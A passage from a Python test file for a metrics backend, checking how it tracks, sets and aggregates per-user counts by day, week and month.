eq_(len(result), 2) eq_(result[0], datetime.date(year=2011, month=11, day=1)) eq_(result[1], datetime.date(year=2012, month=1, day=1)) def test_get_daily_date_range(self): date = datetime.date(year=2011, month=11, day=15) result = self._backend._get_daily_date_range(date, datetime.timedelta(days=30)) eq_(len(result), 2) eq_(result[0], datetime.date(year=2011, month=11, day=15)) eq_(result[1], datetime.date(year=2011, month=12, day=1)) def test_get_daily_date_range_spans_month_and_year(self): date = datetime.date(year=2011, month=11, day=15) result = self._backend._get_daily_date_range(date, datetime.timedelta(days=65)) eq_(len(result), 3) eq_(result[0], datetime.date(year=2011, month=11, day=15)) eq_(result[1], datetime.date(year=2011, month=12, day=1)) eq_(result[2], datetime.date(year=2012, month=1, day=1)) def test_metric_by_day(self): date = datetime.date(year=2011, month=12, day=1) user_id = "user1234" metric = "badges:21" #track some metrics ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=12, day=5), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=12, day=8), inc_amt=3)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=12, day=30), inc_amt=5)) series, values = self._backend.get_metric_by_day(user_id, metric, date, 30) eq_(len(series), 30) eq_(len(values.keys()), 30) eq_(values["2011-12-05"], 2) eq_(values["2011-12-08"], 3) eq_(values["2011-12-30"], 5) def test_metric_by_count_start_end_date(self): start_date = datetime.date(year=2011, month=9, day=1) end_date = datetime.date(year=2011, month=11, day=1) user_id = "user1234" metric = "badges:21" #track some metrics ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=5, day=30), inc_amt=5)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=7, day=8), inc_amt=3)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=8, day=5), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=9, day=8), inc_amt=3)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=10, day=1), inc_amt=5)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=11, day=5), inc_amt=2)) count = self._backend.get_count(user_id, metric, start_date=start_date, end_date=end_date) eq_(count, 8) def test_parse_and_process_metrics(self): series = [datetime.datetime(year=2011, month=5, day=30), datetime.datetime(year=2011, month=7, day=8), datetime.datetime(year=2011, month=8, day=5), datetime.datetime(year=2011, month=9, day=8), datetime.datetime(year=2011, month=9, day=8), datetime.datetime(year=2011, month=10, day=1)] metrics = [[None, None, None, None, None, None]] new_series, new_metrics = self._backend._parse_and_process_metrics(series, metrics) eq_(set(['2011-10-01', '2011-07-08', '2011-09-08', '2011-08-05', '2011-05-30']), new_series) eq_({'2011-10-01': 0, '2011-07-08': 0, '2011-09-08': 0, '2011-08-05': 0, '2011-05-30': 0}, new_metrics) def test_metric_by_count_start_end_date_within_a_month(self): start_date = datetime.date(year=2011, month=9, day=1) end_date = datetime.date(year=2011, month=9, day=15) user_id = "user1234" metric = "badges:21" #track some metrics ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=5, day=30), inc_amt=5)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=7, day=8), inc_amt=3)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=8, day=5), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=9, day=8), inc_amt=3)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=10, day=1), inc_amt=5)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=11, day=5), inc_amt=2)) count = self._backend.get_count(user_id, metric, start_date=start_date, end_date=end_date) eq_(count, 3) def test_metric_by_count_start_end_date_with_metric_on_end_date(self): start_date = datetime.date(year=2011, month=9, day=1) end_date = datetime.date(year=2011, month=9, day=8) user_id = "user1234" metric = "badges:21" #track some metrics ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=5, day=30), inc_amt=5)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=7, day=8), inc_amt=3)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=8, day=5), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=9, day=8), inc_amt=3)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=10, day=1), inc_amt=5)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=11, day=5), inc_amt=2)) count = self._backend.get_count(user_id, metric, start_date=start_date, end_date=end_date) eq_(count, 3) def test_metric_by_count_start_end_date_with_metric_on_start_date(self): start_date = datetime.date(year=2011, month=9, day=8) end_date = datetime.date(year=2011, month=9, day=15) user_id = "user1234" metric = "badges:21" #track some metrics ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=5, day=30), inc_amt=5)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=7, day=8), inc_amt=3)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=8, day=5), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=9, day=8), inc_amt=3)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=10, day=1), inc_amt=5)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=11, day=5), inc_amt=2)) count = self._backend.get_count(user_id, metric, start_date=start_date, end_date=end_date) eq_(count, 3) @raises(Exception) def test_get_metrics_invalid_args(self): date = datetime.date(year=2011, month=12, day=1) self._backend.get_metrics([], date, group_by="leapyear") def test_get_count_in_time_period(self): start_date = datetime.date(year=2012, month=4, day=5) end_date = datetime.date(year=2012, month=4, day=9) user_id = "user1234" metric = "badges:21" metric2 = "badge:22" ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=5), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=7), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=9), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric2, datetime.datetime(year=2012, month=4, day=11), inc_amt=2)) count = self._backend.get_count(user_id, metric, start_date=start_date, end_date=end_date) eq_(6, count) def test_get_metrics_by_day(self): date = datetime.date(year=2011, month=12, day=1) user_id = "user1234" metric = "badges:21" metric2 = "badge:22" #track some metrics ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=12, day=5), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=12, day=8), inc_amt=3)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=12, day=30), inc_amt=5)) ok_(self._backend.track_metric(user_id, metric2, datetime.datetime(year=2011, month=12, day=5), inc_amt=3)) ok_(self._backend.track_metric(user_id, metric2, datetime.datetime(year=2011, month=12, day=8), inc_amt=3)) ok_(self._backend.track_metric(user_id, metric2, datetime.datetime(year=2011, month=12, day=30), inc_amt=5)) results = self._backend.get_metrics([(user_id, metric,), (user_id, metric2,)], date, limit=30, group_by="day") #metric eq_(len(results[0][0]), 30) eq_(len(results[0][1].keys()), 30) eq_(results[0][1]["2011-12-05"], 2) eq_(results[0][1]["2011-12-08"], 3) eq_(results[0][1]["2011-12-30"], 5) #metric 2 eq_(len(results[1][0]), 30) eq_(len(results[1][1].keys()), 30) eq_(results[1][1]["2011-12-05"], 3) eq_(results[1][1]["2011-12-08"], 3) eq_(results[1][1]["2011-12-30"], 5) def test_get_metrics_by_week(self): user_id = 1234 metric = "badge:25" metric2 = "badge:26" from_date = datetime.date(year=2012, month=4, day=2) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=5), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=7), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=9), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric2, datetime.datetime(year=2012, month=4, day=11), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric2, datetime.datetime(year=2012, month=4, day=18), inc_amt=3)) ok_(self._backend.track_metric(user_id, metric2, datetime.datetime(year=2012, month=4, day=30))) results = self._backend.get_metrics([(user_id, metric,), (user_id, metric2)], from_date, limit=5, group_by="week") #metric 1 eq_(len(results[0][0]), 5) eq_(results[0][1]["2012-04-02"], 4) eq_(results[0][1]["2012-04-09"], 2) eq_(results[0][1]["2012-04-16"], 0) eq_(results[0][1]["2012-04-23"], 0) eq_(results[0][1]["2012-04-30"], 0) #metric 2 eq_(len(results[1][0]), 5) eq_(results[1][1]["2012-04-02"], 0) eq_(results[1][1]["2012-04-09"], 2) eq_(results[1][1]["2012-04-16"], 3) eq_(results[1][1]["2012-04-23"], 0) eq_(results[1][1]["2012-04-30"], 1) def test_track_metric_for_multi_users_at_the_same_time(self): user_id = 1234 user_id2 = "user:5678" metric = "badge:25" from_date = datetime.date(year=2012, month=4, day=2) ok_(self._backend.track_metric([user_id, user_id2], metric, datetime.datetime(year=2012, month=4, day=5), inc_amt=2)) ok_(self._backend.track_metric([user_id, user_id2], metric, datetime.datetime(year=2012, month=4, day=7), inc_amt=2)) ok_(self._backend.track_metric([user_id, user_id2], metric, datetime.datetime(year=2012, month=4, day=9), inc_amt=2)) ok_(self._backend.track_metric([user_id, user_id2], metric, datetime.datetime(year=2012, month=4, day=11), inc_amt=2)) ok_(self._backend.track_metric([user_id, user_id2], metric, datetime.datetime(year=2012, month=4, day=18), inc_amt=3)) ok_(self._backend.track_metric([user_id, user_id2], metric, datetime.datetime(year=2012, month=4, day=30))) series, values = self._backend.get_metric_by_week(user_id, metric, from_date, limit=5) eq_(len(series), 5) eq_(values["2012-04-02"], 4) eq_(values["2012-04-09"], 4) eq_(values["2012-04-16"], 3) eq_(values["2012-04-23"], 0) eq_(values["2012-04-30"], 1) series, values = self._backend.get_metric_by_week(user_id2, metric, from_date, limit=5) eq_(len(series), 5) eq_(values["2012-04-02"], 4) eq_(values["2012-04-09"], 4) eq_(values["2012-04-16"], 3) eq_(values["2012-04-23"], 0) eq_(values["2012-04-30"], 1) def test_track_metric_multiple_metrics_at_the_same_time(self): date = datetime.date(year=2011, month=12, day=1) user_id = "user1234" metric = "badges:21" metric2 = "badge:22" #track some metrics ok_(self._backend.track_metric(user_id, [metric, metric2], datetime.datetime(year=2011, month=12, day=5), inc_amt=2)) ok_(self._backend.track_metric(user_id, [metric, metric2], datetime.datetime(year=2011, month=12, day=8), inc_amt=3)) ok_(self._backend.track_metric(user_id, [metric, metric2], datetime.datetime(year=2011, month=12, day=30), inc_amt=5)) results = self._backend.get_metrics([(user_id, metric,), (user_id, metric2,)], date, limit=30, group_by="day") #metric eq_(len(results[0][0]), 30) eq_(len(results[0][1].keys()), 30) eq_(results[0][1]["2011-12-05"], 2) eq_(results[0][1]["2011-12-08"], 3) eq_(results[0][1]["2011-12-30"], 5) #metric 2 eq_(len(results[1][0]), 30) eq_(len(results[1][1].keys()), 30) eq_(results[1][1]["2011-12-05"], 2) eq_(results[1][1]["2011-12-08"], 3) eq_(results[1][1]["2011-12-30"], 5) def test_track_multi_metrics_for_multi_users_at_the_same_time(self): user_id = 1234 user_id2 = "user:5678" metric = "metric1" metric2 = "metric2" from_date = datetime.date(year=2012, month=4, day=2) ok_(self._backend.track_metric([user_id, user_id2], [metric, metric2], datetime.datetime(year=2012, month=4, day=5), inc_amt=2)) ok_(self._backend.track_metric([user_id, user_id2], [metric, metric2], datetime.datetime(year=2012, month=4, day=7), inc_amt=2)) ok_(self._backend.track_metric([user_id, user_id2], [metric, metric2], datetime.datetime(year=2012, month=4, day=9), inc_amt=2)) ok_(self._backend.track_metric([user_id, user_id2], [metric, metric2], datetime.datetime(year=2012, month=4, day=11), inc_amt=2)) ok_(self._backend.track_metric([user_id, user_id2], [metric, metric2], datetime.datetime(year=2012, month=4, day=18), inc_amt=3)) ok_(self._backend.track_metric([user_id, user_id2], [metric, metric2], datetime.datetime(year=2012, month=4, day=30))) series, values = self._backend.get_metric_by_week(user_id, metric, from_date, limit=5) eq_(len(series), 5) eq_(values["2012-04-02"], 4) eq_(values["2012-04-09"], 4) eq_(values["2012-04-16"], 3) eq_(values["2012-04-23"], 0) eq_(values["2012-04-30"], 1) series, values = self._backend.get_metric_by_week(user_id2, metric, from_date, limit=5) eq_(len(series), 5) eq_(values["2012-04-02"], 4) eq_(values["2012-04-09"], 4) eq_(values["2012-04-16"], 3) eq_(values["2012-04-23"], 0) eq_(values["2012-04-30"], 1) series, values = self._backend.get_metric_by_week(user_id, metric2, from_date, limit=5) eq_(len(series), 5) eq_(values["2012-04-02"], 4) eq_(values["2012-04-09"], 4) eq_(values["2012-04-16"], 3) eq_(values["2012-04-23"], 0) eq_(values["2012-04-30"], 1) series, values = self._backend.get_metric_by_week(user_id2, metric2, from_date, limit=5) eq_(len(series), 5) eq_(values["2012-04-02"], 4) eq_(values["2012-04-09"], 4) eq_(values["2012-04-16"], 3) eq_(values["2012-04-23"], 0) eq_(values["2012-04-30"], 1) def test_set_metric_by_day(self): date = datetime.date(year=2011, month=12, day=1) user_id = 1234 metric = "metric1" #set some metrics ok_(self._backend.set_metric_by_day(user_id, metric, datetime.datetime(year=2011, month=12, day=5), 2, sync_agg=False)) ok_(self._backend.set_metric_by_day(user_id, metric, datetime.datetime(year=2011, month=12, day=8), 3, sync_agg=False)) ok_(self._backend.set_metric_by_day(user_id, metric, datetime.datetime(year=2011, month=12, day=30), 5, sync_agg=False)) series, values = self._backend.get_metric_by_day(user_id, metric, date, 30) eq_(len(series), 30) eq_(len(values.keys()), 30) eq_(values["2011-12-05"], 2) eq_(values["2011-12-08"], 3) eq_(values["2011-12-30"], 5) def test_set_metric_by_day_incr_then_set(self): date = datetime.date(year=2011, month=12, day=1) user_id = 1234 metric = "metric1" from_date = datetime.date(year=2012, month=4, day=2) #track some metrics ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=12, day=5), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=12, day=8), inc_amt=3)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=12, day=30), inc_amt=5)) #set some metrics ok_(self._backend.set_metric_by_day(user_id, metric, datetime.datetime(year=2011, month=12, day=5), 1, sync_agg=False)) ok_(self._backend.set_metric_by_day(user_id, metric, datetime.datetime(year=2011, month=12, day=8), 2, sync_agg=False)) ok_(self._backend.set_metric_by_day(user_id, metric, datetime.datetime(year=2011, month=12, day=30), 4, sync_agg=False)) series, values = self._backend.get_metric_by_day(user_id, metric, date, 30) eq_(len(series), 30) eq_(len(values.keys()), 30) eq_(values["2011-12-05"], 1) eq_(values["2011-12-08"], 2) eq_(values["2011-12-30"], 4) def test_set_metric_by_day_set_then_incr(self): date = datetime.date(year=2011, month=12, day=1) user_id = 1234 metric = "metric1" from_date = datetime.date(year=2012, month=4, day=2) #set some metrics ok_(self._backend.set_metric_by_day(user_id, metric, datetime.datetime(year=2011, month=12, day=5), 1, sync_agg=False)) ok_(self._backend.set_metric_by_day(user_id, metric, datetime.datetime(year=2011, month=12, day=8), 2, sync_agg=False)) ok_(self._backend.set_metric_by_day(user_id, metric, datetime.datetime(year=2011, month=12, day=30), 4, sync_agg=False)) #track some metrics ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=12, day=5), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=12, day=8), inc_amt=3)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2011, month=12, day=30), inc_amt=5)) series, values = self._backend.get_metric_by_day(user_id, metric, date, 30) eq_(len(series), 30) eq_(len(values.keys()), 30) eq_(values["2011-12-05"], 3) eq_(values["2011-12-08"], 5) eq_(values["2011-12-30"], 9) def test_set_metric_by_day_multiple_metrics_at_the_same_time(self): date = datetime.date(year=2011, month=12, day=1) user_id = "user1234" metric = "badges:21" metric2 = "badge:22" #set some metrics ok_(self._backend.set_metric_by_day(user_id, [metric, metric2], datetime.datetime(year=2011, month=12, day=5), 2, sync_agg=False)) ok_(self._backend.set_metric_by_day(user_id, [metric, metric2], datetime.datetime(year=2011, month=12, day=8), 3, sync_agg=False)) ok_(self._backend.set_metric_by_day(user_id, [metric, metric2], datetime.datetime(year=2011, month=12, day=30), 5, sync_agg=False)) results = self._backend.get_metrics([(user_id, metric,), (user_id, metric2,)], date, limit=30, group_by="day") #metric eq_(len(results[0][0]), 30) eq_(len(results[0][1].keys()), 30) eq_(results[0][1]["2011-12-05"], 2) eq_(results[0][1]["2011-12-08"], 3) eq_(results[0][1]["2011-12-30"], 5) #metric 2 eq_(len(results[1][0]), 30) eq_(len(results[1][1].keys()), 30) eq_(results[1][1]["2011-12-05"], 2) eq_(results[1][1]["2011-12-08"], 3) eq_(results[1][1]["2011-12-30"], 5) def test_set_metric_by_day_for_multi_users_at_the_same_time_with_sync(self): user_id = 1234 user_id2 = "user:5678" metric = "badge:25" from_date = datetime.date(year=2012, month=4, day=2) #set some metrics ok_(self._backend.set_metric_by_day([user_id, user_id2], metric, datetime.datetime(year=2012, month=4, day=5), 2, sync_agg=False)) ok_(self._backend.set_metric_by_day([user_id, user_id2], metric, datetime.datetime(year=2012, month=4, day=7), 2, sync_agg=False)) ok_(self._backend.set_metric_by_day([user_id, user_id2], metric, datetime.datetime(year=2012, month=4, day=9), 2, sync_agg=False)) ok_(self._backend.set_metric_by_day([user_id, user_id2], metric, datetime.datetime(year=2012, month=4, day=11), 2, sync_agg=False)) ok_(self._backend.set_metric_by_day([user_id, user_id2], metric, datetime.datetime(year=2012, month=4, day=18), 3, sync_agg=False)) ok_(self._backend.set_metric_by_day([user_id, user_id2], metric, datetime.datetime(year=2012, month=4, day=30), 1, sync_agg=False)) #user_id series, values = self._backend.get_metric_by_day(user_id, metric, from_date, limit=30) eq_(len(series), 30) eq_(values["2012-04-05"], 2) eq_(values["2012-04-07"], 2) eq_(values["2012-04-09"], 2) eq_(values["2012-04-11"], 2) eq_(values["2012-04-18"], 3) eq_(values["2012-04-30"], 1) #user_id2 series, values = self._backend.get_metric_by_day(user_id2, metric, from_date, limit=30) eq_(len(series), 30) eq_(values["2012-04-05"], 2) eq_(values["2012-04-07"], 2) eq_(values["2012-04-09"], 2) eq_(values["2012-04-11"], 2) eq_(values["2012-04-18"], 3) eq_(values["2012-04-30"], 1) def test_set_metric_by_day_for_multi_metrics_for_multi_users_at_the_same_time(self): user_id = 1234 user_id2 = "user:5678" metric = "metric1" metric2 = "metric2" from_date = datetime.date(year=2012, month=4, day=2) #set some metrics ok_(self._backend.set_metric_by_day([user_id, user_id2], [metric, metric2], datetime.datetime(year=2012, month=4, day=5), 2, sync_agg=False)) ok_(self._backend.set_metric_by_day([user_id, user_id2], [metric, metric2], datetime.datetime(year=2012, month=4, day=7), 2, sync_agg=False)) ok_(self._backend.set_metric_by_day([user_id, user_id2], [metric, metric2], datetime.datetime(year=2012, month=4, day=9), 2, sync_agg=False)) ok_(self._backend.set_metric_by_day([user_id, user_id2], [metric, metric2], datetime.datetime(year=2012, month=4, day=11), 2, sync_agg=False)) ok_(self._backend.set_metric_by_day([user_id, user_id2], [metric, metric2], datetime.datetime(year=2012, month=4, day=18), 3, sync_agg=False)) ok_(self._backend.set_metric_by_day([user_id, user_id2], [metric, metric2], datetime.datetime(year=2012, month=4, day=30), 1, sync_agg=False)) #user_id, metric series, values = self._backend.get_metric_by_day(user_id, metric, from_date, limit=30) eq_(len(series), 30) eq_(values["2012-04-05"], 2) eq_(values["2012-04-07"], 2) eq_(values["2012-04-09"], 2) eq_(values["2012-04-11"], 2) eq_(values["2012-04-18"], 3) eq_(values["2012-04-30"], 1) #user_id2, metric series, values = self._backend.get_metric_by_day(user_id2, metric, from_date, limit=30) eq_(len(series), 30) eq_(values["2012-04-05"], 2) eq_(values["2012-04-07"], 2) eq_(values["2012-04-09"], 2) eq_(values["2012-04-11"], 2) eq_(values["2012-04-18"], 3) eq_(values["2012-04-30"], 1) #user_id, metric2 series, values = self._backend.get_metric_by_day(user_id, metric2, from_date, limit=30) eq_(len(series), 30) eq_(values["2012-04-05"], 2) eq_(values["2012-04-07"], 2) eq_(values["2012-04-09"], 2) eq_(values["2012-04-11"], 2) eq_(values["2012-04-18"], 3) eq_(values["2012-04-30"], 1) #user_id2, metric2 series, values = self._backend.get_metric_by_day(user_id2, metric2, from_date, limit=30) eq_(len(series), 30) eq_(values["2012-04-05"], 2) eq_(values["2012-04-07"], 2) eq_(values["2012-04-09"], 2) eq_(values["2012-04-11"], 2) eq_(values["2012-04-18"], 3) eq_(values["2012-04-30"], 1) def test_get_counts_after_set_metric_by_day(self): user_id = 1234 metric = "badge:25" #track some metrics ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=5), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=5), inc_amt=3)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=5), inc_amt=5)) count = self._backend.get_count(user_id, metric) #count should be at 10 eq_(count, 10) #set some metrics ok_(self._backend.set_metric_by_day(user_id, metric, datetime.datetime(year=2012, month=4, day=5), 2)) ok_(self._backend.set_metric_by_day(user_id, metric, datetime.datetime(year=2012, month=4, day=7), 2)) ok_(self._backend.set_metric_by_day(user_id, metric, datetime.datetime(year=2012, month=4, day=9), 2)) count = self._backend.get_count(user_id, metric) #count should be at 6 eq_(count, 6) def test_get_counts_after_set_metric_by_day_update_counter_false(self): user_id = 1234 metric = "badge:25" #track some metrics ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=5), inc_amt=2)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=5), inc_amt=3)) ok_(self._backend.track_metric(user_id, metric, datetime.datetime(year=2012, month=4, day=5), inc_amt=5)) count = self._backend.get_count(user_id, metric) #count should be at 10 eq_(count, 10) #set some metrics ok_(self._backend.set_metric_by_day(user_id, metric, datetime.datetime(year=2012, month=4, day=5), 2, update_counter=False)) ok_(self._backend.set_metric_by_day(user_id, metric, datetime.datetime(year=2012, month=4, day=7), 2, update_counter=False)) ok_(self._backend.set_metric_by_day(user_id, metric, datetime.datetime(year=2012, month=4, day=9), 2, update_counter=False)) count = self._backend.get_count(user_id, metric) #count should be at 10 eq_(count, 10) def test_sync_agg_metric(self): date = datetime.date(year=2011, month=12, day=1) user_id = 1234 metric = "metric1" from_date = datetime.datetime(year=2011, month=12, day=5) #set some metrics ok_(self._backend.set_metric_by_day(user_id, metric, datetime.datetime(year=2011, month=12, day=5), 2)) ok_(self._backend.set_metric_by_day(user_id, metric, datetime.datetime(year=2011, month=12, day=8), 3)) ok_(self._backend.set_metric_by_day(user_id, metric, datetime.datetime(year=2011, month=12, day=30), 5)) series, values = self._backend.get_metric_by_week(user_id, metric, from_date, limit=5) eq_(len(series), 5) eq_(values["2011-12-05"], 5) eq_(values["2011-12-12"], 0) eq_(values["2011-12-19"], 0) eq_(values["2011-12-26"], 5) eq_(values["2012-01-02"], 0) series, values = self._backend.get_metric_by_month(user_id, metric, from_date, limit=2) eq_(len(series), 2) eq_(values["2011-12-01"], 10) eq_(values["2012-01-01"], 0) def test_no_sync_with_set_metric_by_day(self): date = datetime.date(year=2011, month=12, day=1) user_id = 1234 metric = "metric1" from_date = datetime.datetime(year=2011, month=12, day=5) #set some metrics ok_(self._backend.set_metric_by_day(user_id, metric, datetime.datetime(year=2011, month=12, day=5), 2, sync_agg=False)) ok_(self._backend.set_metric_by_day(user_id, metric, datetime.datetime(year=2011, month=12, day=8), 3, sync_agg=False)) ok_(self._backend.set_metric_by_day(user_id, metric, datetime.datetime(year=2011, month=12, day=30), 5, sync_agg=False)) series, values = self._backend.get_metric_by_week(user_id, metric, from_date, limit=5) eq_(len(series), 5) eq_(values["2011-12-05"], 0) eq_(values["2011-12-12"], 0) eq_(values["2011-12-19"], 0) eq_(values["2011-12-26"], 0) eq_(values["2012-01-02"], 0) series, values = self._backend.get_metric_by_month(user_id, metric, from_date, limit=2) eq_(len(series), 2) eq_(values["2011-12-01"], 0) eq_(values["2012-01-01"], 0) def test_sync_agg_metric_localized_scope(self): date = datetime.date(year=2011, month=12, day=1) user_id = 1234 metric = "metric1" from_date = datetime.datetime(year=2011, month=12, day=5) #set some metrics ok_(self._backend.set_metric_by_day(user_id, metric, datetime.datetime(year=2011, month=12, day=1), 2, sync_agg=False)) ok_(self._backend.set_metric_by_day(user_id, metric, datetime.datetime(year=2011, month=12, day=15), 3, sync_agg=True)) ok_(self._backend.set_metric_by_day(user_id, metric, datetime.datetime(year=2011, month=12, day=30), 5, sync_agg=False)) series, values = self._backend.get_metric_by_week(user_id, metric, from_date, limit=5) eq_(len(series), 5) eq_(values["2011-12-05"], 0) eq_(values["2011-12-12"], 3) eq_(values["2011-12-19"], 0) eq_(values["2011-12-26"], 0) eq_(values["2012-01-02"], 0) series, values = self._backend.get_metric_by_month(user_id, metric, from_date, limit=2) eq_(len(series), 2) eq_(values["2011-12-01"], 5) # The first set metric to 2 will be calculated when the sync is called for the second set call eq_(values["2012-01-01"], 0) def test_sync_agg_metric_for_multi_users_at_the_same_time_with_sync(self): user_id = 1234 user_id2 = "user:5678" metric = "badge:25" from_date = datetime.date(year=2012, month=4, day=2) #set some metrics ok_(self._backend.set_metric_by_day([user_id, user_id2], metric, datetime.datetime(year=2012, month=4, day=5), 2)) ok_(self._backend.set_metric_by_day([user_id, user_id2], metric, datetime.datetime(year=2012, month=4, day=7), 2)) ok_(self._backend.set_metric_by_day([user_id, user_id2], metric, datetime.datetime(year=2012, month=4, day=9), 2)) ok_(self._backend.set_metric_by_day([user_id, user_id2], metric, datetime.datetime(year=2012, month=4, day=11), 2)) ok_(self._backend.set_metric_by_day([user_id, user_id2], metric, datetime.datetime(year=2012, month=4, day=18), 3)) ok_(self._backend.set_metric_by_day([user_id, user_id2], metric, datetime.datetime(year=2012, month=4, day=30), 1)) #user_id series, values = self._backend.get_metric_by_week(user_id, metric, from_date, limit=5) eq_(len(series), 5) eq_(values["2012-04-02"], 4) eq_(values["2012-04-09"], 4) eq_(values["2012-04-16"], 3) eq_(values["2012-04-23"], 0) eq_(values["2012-04-30"], 1) #user_id2 series, values = self._backend.get_metric_by_week(user_id2, metric, from_date, limit=5) eq_(len(series), 5) eq_(values["2012-04-02"], 4) eq_(values["2012-04-09"], 4) eq_(values["2012-04-16"], 3) eq_(values["2012-04-23"], 0) eq_(values["2012-04-30"], 1) #user_id series, values = self._backend.get_metric_by_month(user_id, metric, from_date, limit=5) eq_(len(series), 5) eq_(values["2012-04-01"], 12) #user_id2 series, values = self._backend.get_metric_by_month(user_id2, metric, from_date, limit=5) eq_(len(series), 5) eq_(values["2012-04-01"], 12) def test_sync_agg_metric_multiple_metrics_at_the_same_time(self): date = datetime.date(year=2011, month=12, day=1) user_id = "user1234" metric = "badges:21" metric2 = "badge:22" #set some metrics ok_(self._backend.set_metric_by_day(user_id, [metric, metric2], datetime.datetime(year=2011, month=12, day=5), 2)) ok_(self._backend.set_metric_by_day(user_id, [metric, metric2], datetime.datetime(year=2011, month=12, day=8), 3)) ok_(self._backend.set_metric_by_day(user_id, [metric, metric2], datetime.datetime(year=2011, month=12, day=30), 5)) results = self._backend.get_metrics([(user_id, metric,), (user_id, metric2,)], date, limit=5, group_by="week") #metric eq_(len(results[0][0]), 5) eq_(len(results[0][1].keys()), 5) eq_(results[1][1]["2011-12-05"], 5) eq_(results[1][1]["2011-12-26"], 5) #metric 2 eq_(len(results[1][0]), 5) eq_(len(results[1][1].keys()), 5) eq_(results[1][1]["2011-12-05"], 5) eq_(results[1][1]["2011-12-26"], 5) results = self._backend.get_metrics([(user_id, metric,), (user_id, metric2,)], date, limit=1, group_by="month") #metric eq_(len(results[0][0]), 1) eq_(len(results[0][1].keys()), 1) eq_(results[1][1]["2011-12-01"], 10) #metric 2 eq_(len(results[1][0]), 1) eq_(len(results[1][1].keys()), 1) eq_(results[1][1]["2011-12-01"], 10) def test_sync_agg_metric_for_multi_users_at_the_same_time(self): user_id = 1234 user_id2 = "user:5678" metric = "metric1" metric2 = "metric2" from_date = datetime.date(year=2012, month=4, day=2) #set some metrics ok_(self._backend.set_metric_by_day([user_id, user_id2], [metric, metric2], datetime.datetime(year=2012, month=4, day=5), 2)) ok_(self._backend.set_metric_by_day([user_id, user_id2], [metric, metric2], datetime.datetime(year=2012, month=4, day=7), 2)) ok_(self._backend.set_metric_by_day([user_id, user_id2], [metric, metric2], datetime.datetime(year=2012, month=4, day=9), 2)) ok_(self._backend.set_metric_by_day([user_id, user_id2], [metric, metric2], datetime.datetime(year=2012, month=4, day=11), 2)) ok_(self._backend.set_metric_by_day([user_id, user_id2], [metric, metric2], datetime.datetime(year=2012, month=4, day=18), 3)) ok_(self._backend.set_metric_by_day([user_id, user_id2], [metric, metric2], datetime.datetime(year=2012, month=4, day=30), 1)) #user_id, metric series, values = self._backend.get_metric_by_week(user_id, metric, from_date, limit=5) eq_(len(series), 5) eq_(values["2012-04-02"], 4) eq_(values["2012-04-09"], 4) eq_(values["2012-04-16"], 3) eq_(values["2012-04-23"], 0) eq_(values["2012-04-30"], 1) #user_id2, metric series, values = self._backend.get_metric_by_week(user_id2, metric, from_date, limit=5) eq_(len(series), 5) eq_(values["2012-04-02"], 4) eq_(values["2012-04-09"], 4) eq_(values["2012-04-16"], 3) eq_(values["2012-04-23"], 0) eq_(values["2012-04-30"], 1) #user_id, metric2 series, values = self._backend.get_metric_by_week(user_id, metric2, from_date, 